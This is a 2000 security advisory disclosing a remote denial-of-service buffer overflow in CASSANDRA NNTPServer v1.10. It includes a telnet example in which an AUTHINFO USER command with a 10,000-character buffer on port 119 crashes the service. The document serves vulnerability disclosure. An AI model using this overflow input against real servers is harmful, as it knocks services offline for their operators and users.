-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Remote DoS attack in CASSANDRA NNTPServer v1.10 from ATRIUM SOFTWARE
Vulnerability

USSR Advisory Code:   USSR-2000039

Release Date:
May 1, 2000

Systems Affected:
CASSANDRA NNTPServer Version v1.10 (WinNT / Win95)

THE PROBLEM

The Ussr Labs Team has recently discovered a buffer overflow problem
in the CASSANDRA NNTPServer v1.0. What happens is preforming an
attack with a large login information Port 119, cause the proccess
containg the services to stop responding.

Thanks to [Racer X] to let us know about this.

Example: 
[hellme@die-communitech.net$ telnet example.com 119
Trying example.com...
Connected to example.com.
Escape character is '^]'.
200 CASSANDRA NNTP-Server (v1.10.01 Unregistered) for Windows 95
ready at Mon, 1
 May 2000  xx:xx:xx +-300 (posting allowed)  

AUTHINFO USER (buffer)

Where buffer is 10000 characters.

It will take down the service, making it non-functional, (untill
Reboot)

Vendor Status:
Informed.

Vendor   Url: http://www.atrium.de/
Program  Url: http://www.atrium.de/cassandra/cassandra_e.cfm
Download Url: http://www.atrium.de/download/casnntpe.exe

Related Links:

Underground Security Systems Research
http://www.ussrback.com

Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN,
Technotronic and Wiretrip. HNC

Copyright (c) 1999-2000 Underground Security Systems Research.
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of Ussr. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please e-mail
labs@ussrback.com for permission.

Disclaimer:
The information within this paper may change without notice. Use of
this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any damages whatsoever
arising out of or in connection with the use or spread of this
information. Any use of this information is at the user's own risk.

Feedback:
Please send suggestions, updates, and comments to:

Underground Security Systems Research
mail:labs@ussrback.com
http://www.ussrback.com

u n d e r g r o u n d  s e c u r i t y  s y s t e m s  r e s e a r c
h
http://www.ussrback.com